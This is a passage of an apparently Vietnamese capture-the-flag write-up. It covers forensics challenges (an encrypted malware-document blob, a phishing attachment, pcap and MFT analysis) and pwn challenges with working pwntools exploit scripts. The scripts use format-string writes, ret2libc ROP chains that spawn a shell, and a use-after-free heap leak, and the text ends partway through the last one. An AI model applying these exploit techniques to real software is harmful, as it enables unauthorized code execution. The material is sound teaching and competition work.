+SdiBD6yytkbmJucbzvUZQjbC8JHdetZ8ZzW5utX4O2mSzTAdHHJZC9uL4f9DDLF0WgOfXTgYtel+MdrSwiQSVf4600rtzsRcP8MoM1BqpgzhT4o2WDYQlYykBMCMJCDZqWaAxJgAyQSMuHiAvBlavBMtBn9viUbhajJ+e0bLOwixU5puHW0Cwdz9WnCR7MIChtBEpY/H8SS9IH5nUef6aAay1OecfFQHvmGP/eFCSdVOqkLgVPq4FcPZlQpTEb/5v385uEtYg3Q6UrOUfe12duRHPmlKQQrrrRhUHbVcZrnPoqy1atVY4hifqZ1bZTqJuL8YGJMDT2An0sZlfM70p7r5AkDlE8nsZI/npQ1Tg8tLyx/tzAiUDyYsps9zwS5YthtuFBmBi9hZnwrIHT62xNThniQNxfQ5JnNENmCK/mYvpfZvhWyOS0YfMbUyQk1qLg7daIM+behZAjHIqVKx9ya3kck4FP4GPkaMqxgU+bICUrc1eQOZUDuJI3eV1s4zlZjDalM51x/DyUJlO0Crx9O7KXUlINGHj0Xytuqt1bRbgr88qKocEigSHB/+qPsCcLw+R4Tgs+x6t++ZxeB/g8cA6PQFgjPo7RshhIeM0Km6jjNY3jEeZnBE7rgri1oQeW2A1NKzWPMYk61pojO6WLl297HVx+0C197ElaFaWfFrOZvI7QKE9pEPlxSgu75YA6aAzUN+h0nFySgne/dBxI+8BEBXhZZSuPPZyrGSAq/QugdhwbEcxXE5A/21GxotETOOqwQuMZd8i8NMJVEpVQFwTvKSgzPOl/1pbvd8lvSpKijQwOQE0/Uonfol7EkTBa03px5JrqXtpdoSlf9HQUXsBK4H24UDixCJgPX4XMOjLyx10RTaWzasmefuD0yEYBa0rdEZUt2IR0BKk4ybcXcoRhCR1mh0Eq6Omw3jvLtSXXkDkUKExlE5oFYjC+ic/Dlup6+1goHHAatH4F/j9Wh190b+JjtrXKgEbh+1jlw+opItYpkfai90O6ztO10CJuqiP77X73cFQ6t9GOo4mLpDXw7N6o37lzr4cwo/WQup9E+Rbql048E6Luf7QJWA+8hwnS9hWHwGL3RFOrok4riHRiwnbBepqhMaTqdFgjoRyoECrUzZyJ2Jzns1tJJeQO1QfQcLjw4q4cgBEIQvZYXx9kO0g3hcUM3FlE9RIwCoVRSAnmM+j4hdeO0VK8LLy5oysOuk5y0XOu338oX9VF7iThTDvhicF2EYiOy6JgYN+rCG6lC40GMMcYiZ3ymZ8mfLkTlV07ULu1cqjUA+jtGXJwnWuitXoPLF3SOBBAUQ4DOeYEGC5mgCbX03ZxhGghoQNOZOu5BLVuX30YgMvh/7KHN3TMS5EROoQPB5pVOH7z/XzdCLsGj2wTpIdPeRWqn2sCS9Goja7kA1TqF3qlo9WsbmFRtzRqN0g9pD+eVwTvARDblgAB5cviu0skulwHKldydwCDofryM1JaLZ+il2xd07lQLLaasPGvRdkn+93KEUQ0dBE500COH8YmMRt0uomM6KsEzrg4aCJU06usCRk5ckllwz2rmAFkN+KMFcuwQRdHR57Lzz6bmuFboOfaOhNH6VkBpp9Zp4c279DiKQngmug/GvegPZCg7NcSr1UOOhfLP7ZNmuT7o5VzqkqJtBUnLUyX3/3hdrMPrfsiJ36bqLk5TK4scaNUbaxaFsDM9bjxmWCjavOM46UOylM3hbxN6R50d3MHKSRunZfndpN/GV/nNSovNfQK8kT3xjUahNZTz7sWEdLoOcuYCk1H1UOB97j4r3mw7PExi8YRI9MjvsyzJQTZyrWc6R0rHbfRPHGQYlVCuqxwvAcoiTkq/Y+4M6U9FG9yxA10oQH1d7HIuM3M1EW0kPT+quYKtMS08BQLTTKZMtMkm0E="</span>;
    <span class="hljs-keyword">return</span> r
}
</code></pre>
<p>:)) Nhận diện thuật toán, sau khi đọc 1 hồi mình nhìn ra ngay 2 hàm kia để decode base64 và rc4, mình sẽ decrypt biến <code>r</code> luôn. Quay trở lại con vbs, ta có key rc4 là <code>argv[1]</code> truyền vào file js, chính là đoạn này:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/ff71f3c4-4698-4b06-b871-47387ba933f1" alt="image" /></p>
<p>Decrypt thôi:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/ef4ff5d1-e189-49cb-904c-3825174d9acd" alt="image" /></p>
<p>Tại code sau khi decrypt này, ta thấy luôn flag trong đó, decode ra:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/50b1b0ea-cd9c-464e-9c41-b5c9c05d1431" alt="image" /></p>
<p>Flag: <code>HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}</code></p>
<h2 id="heading-ithasbegun"><strong>It_Has_Begun</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>Đề cho ta 1 file bash. Dễ dàng thấy 2 phần flag trong pcname và đoạn được cho vào crontab:</p>
<p>2: NG5kX3kwdVJfR3IwdU5kISF9</p>
<p>1: tS_u0y_ll1w{BTH</p>
<p>Flag: <code>HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}</code></p>
<h2 id="heading-phreaky"><strong>Phreaky</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>Đề cấp 1 file pcap, đại khái là nó truyền file bằng cách zip, set password rồi base64 lại. Khá troll vì không đọc được trường :(. Mình code quick script sau để dump data ra:</p>
<pre><code class="lang-php">import os
<span class="hljs-keyword">from</span> base64 import b64decode
os.system(<span class="hljs-string">'strings phreaky.pcap | grep Password &gt; password'</span>)
os.system(<span class="hljs-string">'tshark -nr phreaky.pcap -Y "smtp &amp;&amp; imf" -T fields -e media.type | tr -d "\n" | xxd -r -p &gt; data.txt'</span>)
with open(<span class="hljs-string">"data.txt"</span>, <span class="hljs-string">"r"</span>) <span class="hljs-keyword">as</span> f:
    data = f.readlines()
password = open(<span class="hljs-string">"password"</span>, <span class="hljs-string">"r"</span>).readlines()
password= [i[<span class="hljs-number">42</span>:<span class="hljs-number">-1</span>] <span class="hljs-keyword">for</span> i in password]
trigger = <span class="hljs-number">0</span>
seq = <span class="hljs-string">""</span>
j = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> i in range(len(data)):
    <span class="hljs-keyword">if</span> len(data[i]) == <span class="hljs-number">77</span>:
        seq += data[i].replace(<span class="hljs-string">"\n"</span>, <span class="hljs-string">""</span>)
    <span class="hljs-keyword">else</span>:
        seq += data[i].replace(<span class="hljs-string">"\n"</span>, <span class="hljs-string">""</span>)
        <span class="hljs-keyword">print</span>(b64decode(seq))
        with open(<span class="hljs-string">"temp.zip"</span>, <span class="hljs-string">"wb"</span>) <span class="hljs-keyword">as</span> f:
            <span class="hljs-keyword">print</span>(password[j])
            f.write(b64decode(seq))
        os.system(f<span class="hljs-string">'unzip -P "{password[j]}" temp.zip'</span>)
        j += <span class="hljs-number">1</span>
        seq = <span class="hljs-string">""</span>

with open(<span class="hljs-string">"final.pdf"</span>, <span class="hljs-string">"wb"</span>) <span class="hljs-keyword">as</span> f:
    <span class="hljs-keyword">for</span> i in range(<span class="hljs-number">1</span>, <span class="hljs-number">16</span>):
        data = open(f<span class="hljs-string">"phreaks_plan.pdf.part{i}"</span>, <span class="hljs-string">"rb"</span>).read()
        f.write(data)
</code></pre>
<p>Result:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/2a4f1924-ffa8-4775-9f8c-ae62469c3e8f" alt="image" /></p>
<p>Flag: <code>HTB{Th3Phr3aksReadyT0Att4ck}</code></p>
<h2 id="heading-pursue-the-tracks"><strong>Pursue The Tracks</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>Đề cho 1 file mft. Sử dụng tool <code>MFTecmd</code> để parse thành csv:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/a068783c-9738-43a9-abd9-a8d42179426e" alt="image" /></p>
<ol>
<li>Files are related to two years, which are those? (for example: 1993,1995)</li>
</ol>
<p>Dễ thấy 2 năm đó luôn:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/e8e6303d-b98b-44ee-ab0d-e24a6f38aeb1" alt="image" /></p>
<blockquote>
<p>Ans: 2023,2024</p>
</blockquote>
<ol start="2">
<li>There are some documents, which is the name of the first file written? (for example: randomname.pdf)</li>
</ol>
<blockquote>
<p>Ans: Final_Annual_Report.xlsx</p>
</blockquote>
<ol start="3">
<li>Which file was deleted? (for example: randomname.pdf)</li>
</ol>
<p>Ta thấy Marketing_Plan.xlsx có trường <code>Inuse</code> là False, tức là đã bị xóa:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/77aae891-ca1e-476b-8feb-3eac0707e6dd" alt="image" /></p>
<blockquote>
<p>Ans: Marketing_Plan.xlsx</p>
</blockquote>
<ol start="4">
<li>How many of them have been set in Hidden mode? (for example: 43)</li>
</ol>
<p>Trừ các file hệ thống ra, thì có duy nhất file <code>credentials.txt</code> ở Hidden mode.</p>
<blockquote>
<p>Ans: 1</p>
</blockquote>
<ol start="5">
<li>Which is the filename of the important TXT file that was created? (for example: randomname.txt)</li>
</ol>
<blockquote>
<p>Ans: credentials.txt</p>
</blockquote>
<ol start="6">
<li>A file was also copied, which is the new filename? (for example: randomname.pdf)</li>
</ol>
<p>Check trường IsCopied xem cái nào True, ta được đáp án:</p>
<blockquote>
<p>Ans: Financial_Statement_draft.xlsx</p>
</blockquote>
<ol start="7">
<li>Which file was modified after creation? (for example: randomname.pdf)</li>
</ol>
<p>Ta check time Created với LastRecordChange, chỉ có 1 file là có thời gian LastRecordChange mới hơn.</p>
<blockquote>
<p>Ans: Project_Proposal.pdf</p>
</blockquote>
<ol start="8">
<li>What is the name of the file located at record number 45? (for example: randomname.pdf)</li>
</ol>
<blockquote>
<p>Ans: Annual_Report.xlsx</p>
</blockquote>
<ol start="9">
<li>What is the size of the file located at record number 40? (for example: 1337)</li>
</ol>
<blockquote>
<p>Ans: 57344</p>
</blockquote>
<p>Flag: <code>HTB{p4rs1ng_mft_1s_v3ry_1mp0rt4nt_s0m3t1m3s}</code></p>
<h2 id="heading-urgent"><strong>Urgent</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>Đề cho 1 file EML, kèm 1 attachment html. Ta tiến hành phân tích:</p>
<p>Html chứa unescaped character:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/68cb1aea-4946-4c54-a7fa-6d2886439ee1" alt="image" /></p>
<p>Decode nó ra:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/c9406ad5-8ddd-49ca-aa36-90002e836568" alt="image" /></p>
<p>Đại khái là mở powershell tải malware về ngay khi windows onload thôi, flag ngay trong code:</p>
<p>Flag: <code>HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}</code></p>
<h2 id="heading-oblique-final"><strong>Oblique Final</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>Đoạn sau của bài mình solve khá randomly, nên wu này mình có điều chỉnh sau khi đọc official wu của giải 🐸</p>
<p>Đề cho ta 1 file Hiberfil.sys - file lưu thông tin tất tần tật các thứ trên máy ở trạng thái hiện tại khi nó bắt đầu vào mode ngủ đông 💤</p>
<p>Và vì thế nó cũng na ná memdump thôi &lt;("), mình convert qua dạng raw mem trước. Mình sử dụng bản volatility 3 branch build này để lấy thêm 2 plugin hibernation:</p>
<p><a target="_blank" href="https://github.com/forensicxlab/volatility3">https://github.com/forensicxlab/volatility3</a></p>
<p>Convert:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/48ecd17a-55d3-4243-a72a-92b93ddafad5" alt="image" /></p>
<p>Sau đó load vào xem pslist, dễ thấy 1 sus proc tên <code>TheGame.exe</code>, cũng phù hợp với mô tả của bài :)) :</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/9a59a13a-058a-4456-a353-c1bc470b66c5" alt="image" /></p>
<p>Sau khi filescan string grep, ngoài ra cũng có thể dùng dlllist lên proc này, ta thấy rất nhiều dll cùng nằm trong folder chứa exe. Ngoài ra trong đó còn có coreclr.dll, mà dựa theo docs trong repo đã archived của Microsoft, define như này:</p>
<p><code>CoreCLR is the runtime for .NET Core. It includes the garbage collector, JIT compiler, primitive data types and low-level classes.</code></p>
<p>Vì thế nên đây là 1 .NET project, vì nó chứa core runtime, JIT compiler,..tự làm tự ăn. Ngoài ra, Coreclr như ta biết ở trên, là "runtime for .NET Core". .NET Core là cross-platform của .NET: <a target="_blank" href="https://learn.microsoft.com/en-us/archive/msdn-magazine/2016/april/net-core-net-goes-cross-platform-with-net-core">https://learn.microsoft.com/en-us/archive/msdn-magazine/2016/april/net-core-net-goes-cross-platform-with-net-core</a>. Thì theo đó, thông thường con exe sẽ là executable của project luôn, tuy nhiên trong cross-platform, nó chỉ là loader cho con dll. Hoặc ta dump cả 2 con ra rồi check file type cũng được :v :</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/6592b8d9-2421-4bf5-9292-472f97696771" alt="image" /></p>
<p>Phân tích .NET bằng DNSpy, tuy nhiên hàm main lại không decompile ra gì được, lỗi. Khi đổi sang Intermediate language, ta thấy 1 mớ dài nop opcode:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/440ebb1d-2397-46c8-a34c-89ec09014ad2" alt="image" /></p>
<p>Ngoài ra dựa vào hint từ đề bài và từ 1 người bạn, ngoài ra check structure của TheGame.dll, ta cũng có thể thấy ReadyToRun header, mình biết được đây là R2R stomping, nó giấu code bằng cách thay các opcode về nop trước các trình decompile như dnspy, ilspy. Thế thì mình đã làm như thế nào? Mình load PE vào IDA và F5 :v Nó thực hiện xor 2 array, mà khi ta xor xong, sẽ được 1 command có kèm flag.</p>
<hr />
<h1 id="heading-pwn">PWN</h1>
<h2 id="heading-delulu">Delulu</h2>
<p><strong><em>credit: LucPhan</em></strong></p>
<ul>
<li>Check file + checksec + IDA</li>
</ul>
<p><img src="https://hackmd.io/_uploads/rJ3q_9eAT.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/S1v3Oce0p.png" alt="image" /></p>
<ul>
<li><strong>IDA</strong></li>
</ul>
<p><img src="https://hackmd.io/_uploads/SyW0OqgCa.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/r1LJtqgRa.png" alt="image" /></p>
<ul>
<li><p><strong>BUG:</strong></p>
<ul>
<li><p>Lỗi format string : <code>printf((const char *)buf);</code></p>
</li>
<li><p>Lỗi buffer overflow : <code>read(0, buf, 31uLL);</code></p>
</li>
<li><p>Có hàm in flag <code>delulu()</code></p>
</li>
</ul>
</li>
<li><p><strong>Khai thác:</strong></p>
<ul>
<li><p>Dùng lỗi <code>format string</code> để thay đổi gtri biến v4[0] = 0x1337babe -&gt; 0x1337beef -&gt; gọi hàm <code>delulu</code> in flag</p>
</li>
<li><p>Nhập buffer ở read rồi dùng ở printf lỗi format string.</p>
</li>
<li><p>Do v4[0] = 0x1337babe nên chỉ cần overwrite 2 byte cuối.</p>
</li>
</ul>
</li>
<li><p><strong>Script:</strong></p>
</li>
</ul>
<pre><code class="lang-plaintext">    from pwn import *

    #p = remote("83.136.252.82",32291)
    p = process('./delulu')

    payload = f'%{0xbeef}c%7$hn'.encode()
    payload += p64(0x00)

    p.sendline(payload)

    p.interactive()
</code></pre>
<h2 id="heading-writing-on-the-wall">Writing on the wall</h2>
<p><strong><em>credit: LucPhan</em></strong></p>
<ul>
<li><p><strong>Check file + checksec + IDA</strong></p>
<p>  <img src="https://hackmd.io/_uploads/HJxf1ilCT.png" alt="image" /></p>
<p>  <img src="https://hackmd.io/_uploads/SJVDyse0a.png" alt="image" /></p>
<ul>
<li><p><strong>IDA</strong></p>
<p>  <img src="https://hackmd.io/_uploads/HyQK1seCp.png" alt="image" /></p>
<p>  <img src="https://hackmd.io/_uploads/SJL9yolAT.png" alt="image" /></p>
</li>
</ul>
</li>
<li><p><strong>BUG:</strong></p>
<ul>
<li><p>Lỗi off by one : <code>read(0, buf, 7uLL)</code> khi chỉ khai báo <code>char buf[6]</code></p>
</li>
<li><p>Có hàm lấy flag <code>open_door</code></p>
</li>
</ul>
</li>
<li><p><strong>Khai thác:</strong></p>
<ul>
<li><p>Debug xem có thể dùng buffer overflow overwrite tới đâu</p>
<ul>
<li><p>Trước khi read</p>
<p>  <img src="https://hackmd.io/_uploads/HJYHVsxR6.png" alt="image" /></p>
</li>
<li><p>Sau khi read</p>
<p>  <img src="https://hackmd.io/_uploads/rJBFNieAT.png" alt="image" /></p>
</li>
</ul>
</li>
<li><p>Sau khi debug, ta thấy phần thừa (1byte) sẽ overwrite byte đầu tiên của biến s2 (s2 dùng so sánh với buf để gọi hàm lấy flag) -&gt; Ý tưởng: làm cho cả buf và s2 đều có byte đầu là NULL để khi strcmp sẽ giống nhau.</p>
</li>
</ul>
</li>
<li><p><strong>Script</strong></p>
</li>
</ul>
<pre><code class="lang-plaintext">    from pwn import *

    #p = remote("94.237.55.42",43749)

    p = process("./chall")
    payload = b'\x00\x41\x41\x41\x41\x41\x00'

    p.sendline(payload)

    p.interactive()
</code></pre>
<h2 id="heading-pet-companion">Pet companion</h2>
<p><strong><em>credit: LucPhan</em></strong></p>
<ul>
<li><p><strong>Check file + checksec + IDA</strong></p>
<p>  <img src="https://hackmd.io/_uploads/B1emAujxAT.png" alt="image" /></p>
<ul>
<li><p><strong>IDA</strong></p>
<p>  <img src="https://hackmd.io/_uploads/SkNWFjgRp.png" alt="image" /></p>
</li>
</ul>
</li>
<li><p><strong>BUG:</strong></p>
<ul>
<li>Lỗi buffer overflow : <code>read(0, buf, 256uLL)</code> trong khi khai báo __int64 buf[8] -&gt; Ý tưởng: ret2libc</li>
</ul>
</li>
<li><p><strong>Khai thác:</strong></p>
<ul>
<li><p>Tính offset để overwrite saved rip:</p>
<ul>
<li><p>Nhập buf ở hàm read để xem vị trí buf trên stack</p>
<p>  <img src="https://hackmd.io/_uploads/H18eRoxCa.png" alt="image" /></p>
</li>
<li><p>Tìm vị trí saved rip trên stack</p>
<p>  <img src="https://hackmd.io/_uploads/H1roAse06.png" alt="image" /></p>
<p>  <strong>-&gt; offset = 72byte</strong></p>
</li>
</ul>
</li>
<li><p>Leak libc:</p>
<ul>
<li><p>Dùng hàm puts hoặc 1 hàm tương tự in ra địa chỉ 1 hàm trong libc.</p>
</li>
<li><p>Thay đổi rsi thành write@got để in ra địa chỉ libc của write bằng cách gọi write@plt</p>
</li>
</ul>
</li>
<li><p>Lấy shell:</p>
<ul>
<li><p>Thay đổi rdi (tham số của hàm system) thành địa chỉ của "/bin/sh"</p>
</li>
<li><p>Gọi hàm system trong libc sau khi đã có địa chỉ cơ sở của libc</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Script:</strong></p>
</li>
</ul>
<pre><code class="lang-plaintext">    from pwn import *

    context.binary = exe = ELF("./chall_patched",checksec=False)
    libc = ELF("./libc.so.6",checksec=False)
    ld = ELF("./ld-linux-x86-64.so.2",checksec=False)


    #p = remote('94.237.51.203',59602)
    p = process(exe.path)
    poprsi = 0x0000000000400741
    offset_rip =  72
    poprdi = 0x0000000000400743
    ret = 0x00000000004004de

    ####################### LIBC LEAK ######################

    payload=b'a'*offset_rip
    payload+=p64(poprsi) + p64(exe.got['write']) + p64(0x00)
    payload+=p64(exe.plt['write'])
    payload+=p64(exe.sym['main'])
    p.sendafter(b'status: ',payload)
    p.recvuntil(b"Configuring...\n\n")
    leak = int.from_bytes(p.recv(6),"little")
    print('[+] LEAK:',hex(leak))
    libc.address = leak - libc.sym['write']
    print('[+] LIBC ADDRESS:',hex(libc.address))

    ######################## GET SHELL #####################

    payload2 = b'A'*offset_rip
    payload2 += p64(poprdi) + p64(next(libc.search(b'/bin/sh')))
    payload2 += p64(libc.sym['system'])

    p.sendafter(b'status: ',payload2)

    p.interactive()
</code></pre>
<h2 id="heading-rocket-blaster-xxx">Rocket blaster xxx</h2>
<p><strong><em>credit: LucPhan</em></strong></p>
<p><strong><em>credit: LucPhan</em></strong></p>
<ul>
<li><p><strong>Check file + checksec + IDA</strong></p>
<p>  <img src="https://hackmd.io/_uploads/H1t1G3lC6.png" alt="image" /></p>
<ul>
<li><p><strong>IDA</strong></p>
<p>  <img src="https://hackmd.io/_uploads/HJMHM2gCp.png" alt="image" /></p>
<p>  <img src="https://hackmd.io/_uploads/rJ7qM3eCT.png" alt="image" /></p>
</li>
</ul>
</li>
<li><p><strong>BUG:</strong></p>
<ul>
<li><p>Lỗi buffer overflow : <code>read(0, buf, 102uLL)</code> khi chỉ khai báo `__int64 buf[4]'</p>
</li>
<li><p>Có hàm lấy flag <code>fill_ammo</code> -&gt; ý tưởng: ret2win</p>
</li>
</ul>
</li>
<li><p><strong>Khai thác:</strong></p>
<ul>
<li><p>Tính offset để overwrite saved rip</p>
<ul>
<li><p>Nhập buf ở hàm read để xem vị trí buf trên stack</p>
<p>  <img src="https://hackmd.io/_uploads/Sy1t4heC6.png" alt="image" /></p>
</li>
<li><p>Tìm vị trí saved rip trên stack</p>
<p>  <img src="https://hackmd.io/_uploads/BJZnE2e0T.png" alt="image" /></p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>        <strong>-&gt; offset = 40byte</strong></p>
<ul>
<li><p>Lấy địa chỉ của hàm <code>fill_ammo</code></p>
</li>
<li><p>Tuy nhiên, ở hàm fill_ammo vẫn cần phải thỏa mãn 1 số điều kiện để đọc được flag:</p>
<ul>
<li><p>Challenge bắt chúng ta phải làm cho tham số: a1,a2,a3 lần lượt bằng 0xdeadbeef, 0xdeadbabe, 0xdead1337.</p>
</li>
<li><p>Kiểm tra mã assembly của <code>fill_ammo</code>:</p>
<p>  <img src="https://hackmd.io/_uploads/HyjWdngC6.png" alt="image" /></p>
<p>  <img src="https://hackmd.io/_uploads/S1BV52lCp.png" alt="image" /></p>
</li>
<li><p>Hàm <code>fill_ammo</code> thực hiện so sánh rax với các vùng nhớ. Ta thấy các vùng nhớ này được điều khiển bởi các thanh ghi rdi, rsi, rdx. -&gt; Dùng ROP để thay đổi giá trị các thanh ghi -&gt; thay đổi các vùng nhớ này</p>
</li>
</ul>
</li>
</ul>
<ul>
<li><strong>Script</strong></li>
</ul>
<pre><code class="lang-plaintext">    from pwn import *

    #p = remote('94.237.53.53',37903)
    p = process("./chall")
    poprdi = 0x000000000040159f
    poprsi = 0x000000000040159d
    poprdx = 0x000000000040159b

    win = 0x00000000004012fd
    payload=b'a'*(40-8)
    payload+=p64(0x0000000000405500)
    payload+=p64(poprdi)+p64(0xDEADBEEF)
    payload+=p64(poprsi)+p64(0xDEADBABE)
    payload+=p64(poprdx)+p64(0xDEAD1337)
    payload+=p64(win)

    p.sendlineafter(b'&gt;&gt; ',payload)

    p.interactive()
</code></pre>
<h2 id="heading-sound-of-silence">Sound of silence</h2>
<p><strong><em>credit: LucPhan</em></strong></p>
<ul>
<li><p><strong>Check file + checksec + IDA</strong></p>
<p>  <img src="https://hackmd.io/_uploads/SyX27fb0T.png" alt="image" /></p>
<ul>
<li><p><strong>IDA</strong></p>
<p>  <img src="https://hackmd.io/_uploads/HJopQzZRa.png" alt="image" /></p>
</li>
</ul>
</li>
<li><p><strong>BUG:</strong></p>
<ul>
<li>Lỗi buffer overflow : <code>return gets(v4, argv)</code> - hàm gets() không kiểm tra số lượng byte nhập vào.</li>
</ul>
</li>
<li><p><strong>Khai thác:</strong></p>
<ul>
<li><p>Debug chương trình:</p>
<ul>
<li><p>Chương trình <code>mov rdi, rax</code></p>
</li>
<li><p>Sau khi <code>gets()</code> : chương trình sẽ đưa địa chỉ của buf vào rax</p>
</li>
<li><p>Chương trình trước khi gọi hàm system() : có lệnh <code>mov rdi, rax</code></p>
</li>
</ul>
</li>
<li><p>Hướng khai thác: ta sẽ nhập chuỗi <code>"/bin/sh"</code> vào <code>v4</code> -&gt; overwrite <code>saved RIP</code> thành địa chỉ <code>mov rdi, rax</code></p>
</li>
<li><p>Tính offset để overwrite <code>saved RIP</code></p>
<ul>
<li><p>Nhập <code>v4</code> và xem địa chỉ trên stack:</p>
<p>  <img src="https://hackmd.io/_uploads/BkqeL7WAp.png" alt="image" /></p>
</li>
<li><p>Dùng ở lệnh ret và xem địa chỉ saved RIP:</p>
<p>  <img src="https://hackmd.io/_uploads/ByHLUQ-R6.png" alt="image" /></p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>        <strong>-&gt; offset = 32</strong></p>
<ul>
<li><p>Tuy nhiên, trong quá trình thực hiện hàm <code>system()</code> sẽ gặp lỗi <code>SIGSEGV</code>: Lỗi này xảy ra khi ngăn xếp chưa được căn chỉnh 16 byte trước khi gọi hàm <code>system()</code></p>
<ul>
<li><p><code>movaps</code> : <a target="_blank" href="https://c9x.me/x86/html/file_module_x86_id_180.html">https://c9x.me/x86/html/file_module_x86_id_180.html</a></p>
</li>
<li><p><strong>Nguyên nhân</strong>: <a target="_blank" href="https://stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul">https://stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul</a></p>
<p>  <img src="https://hackmd.io/_uploads/H1gZx7bAp.png" alt="image" /></p>
</li>
<li><p>Để giải quyết lỗi này, chúng ta chỉ cần thêm 1 số lệnh <code>ret</code> để trước khi quay trở lại <code>mov rdi, rax</code></p>
</li>
</ul>
</li>
</ul>
<ul>
<li><strong>Script</strong></li>
</ul>
<pre><code class="lang-plaintext">    from pwn import *

    exe = ELF("./chall_patched",checksec=False)
    libc = ELF("./libc.so.6",checksec=False)
    ld = ELF("./ld-linux-x86-64.so.2",checksec=False)

    context.binary = exe
    #p = remote('94.237.54.30',42921)
    p = process(exe.path)
    mov_rdi_rax = 0x0000000000401169
    ret = 0x000000000040101a
    payload=p64(0x0068732f6e69622f)
    payload+=b'\x00'*32
    payload += p64(ret)
    payload += p64(ret)
    payload+=p64(mov_rdi_rax)

    p.sendline(payload)
    p.interactive()
</code></pre>
<h2 id="heading-deathnote">Deathnote</h2>
<p><strong><em>credit: Naooooooooooooo</em></strong></p>
<p>Đầu tiên ở chương trình sẽ có 1 mảng gốm 10 entries</p>
<p><img src="https://hackmd.io/_uploads/rJZvYxiAT.png" alt="Screenshot 2024-03-22 192736" /></p>
<p>Sau đó là 1 vòng lặp vô hạn vs các option</p>
<p><img src="https://hackmd.io/_uploads/B1M9Feo0T.png" alt="Screenshot 2024-03-22 192829" /></p>
<ul>
<li>Hàm <code>add</code></li>
</ul>
<p><img src="https://hackmd.io/_uploads/rJxhKxs06.png" alt="Screenshot 2024-03-22 192915" /></p>
<p>Nó chỉ đơn giản là chọn size và index trong <code>entries</code> để set</p>
<p>Index không có <code>out òf bound</code> và size bị giới hạn trong khoảng <code>1</code> đến <code>0x80</code></p>
<p>Ở đây ta thấy nó ko khởi tạo giá trị khi malloc nên sẽ còn xót lại những giá trị rác nên có thể dùng để leak</p>
<ul>
<li>Hàm <code>show</code></li>
</ul>
<p><img src="https://hackmd.io/_uploads/rJCX9ejRa.png" alt="Screenshot 2024-03-22 193125" /></p>
<p>Chỉ đơn giản là in dữ liệu của 1 entry</p>
<p>Hàm <code>delete</code></p>
<p><img src="https://hackmd.io/_uploads/SkP85ejCa.png" alt="Screenshot 2024-03-22 193159" /></p>
<p>Ở đây ta thấy nó <code>free</code> rồi nhưng mà ko clear giá trị trong <code>entries</code> nên ở đây ta có bug <code>use after free</code></p>
<p>Có 1 lựa chọn nữa khi chúng ta nhập option <code>*</code></p>
<p><img src="https://hackmd.io/_uploads/Skmo5xj0a.png" alt="Screenshot 2024-03-22 193314" /></p>
<p>Nó sẽ gọi hàm mà <code>entries[0]</code> trỏ vào và tham số là <code>entries[1]</code>, vậy nếu <code>entries[0]</code> chứa <code>system</code> còn <code>entries[1]</code> chứa <code>'/bin/sh</code> thì ta thắng.</p>
<h3 id="heading-exploit-3">Exploit</h3>
<p>Ở đây mk <code>free</code> 8 chunks để làm đầy tcache rồi chúng ta sẽ có libc</p>
<pre><code class="lang-python"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">9</span>):
    add(<span class="hljs-number">0x80</span>, i, <span class="hljs-string">b'A'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>):
    delete(i)
show(<span class="hljs-number">7</span>)
p.recvuntil(<span class="hljs-string">b'Page content: '</span>)
leak = p.recvline()[:<span class="hljs-number">-1</span>]
leak = int.from_bytes(leak, byteorder=<span class="hljs-string">'little'</span>)
print(<span class="hljs-string">'leak: '</span>, hex(leak))
libc.address = leak - <span class="hljs-number">2206944</span>
print(<span class="hljs-string">'libc: '</span>, hex(libc.address))
</code></pre>
<p>Như vậy thì chỉ cần tạo <code>entries[0]</code> vs <code>entries[1]</code> nữa là xong</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

sla = <span class="hljs-keyword">lambda</span> delim, data: p.sendlineafter(delim, data)
sa = <span class="hljs-keyword">lambda</span> delim, data: p.sendafter(delim, data)

elf = context.binary = ELF(<span class="hljs-string">'deathnote'</span>)
libc = ELF(<span class="hljs-string">'./glibc/libc.so.6'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span>(<span class="hljs-params">size, idx, content</span>):</span>
    sla(<span class="hljs-string">b'entry'</span>, <span class="hljs-string">b'1'</span>)
    sla(<span class="hljs-string">b'request'</span>, str(size).encode())
    sla(<span class="hljs-string">b'Page'</span>, str(idx).encode())
    sa(<span class="hljs-string">b'victim:'</span>, content)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span>(<span class="hljs-params">idx</span>):</span>
    sla(<span class="hljs-string">b'entry'</span>, <span class="hljs-string">b'3'</span>)
    sla(<span class="hljs-string">b'Page'</span>, str(idx).encode())
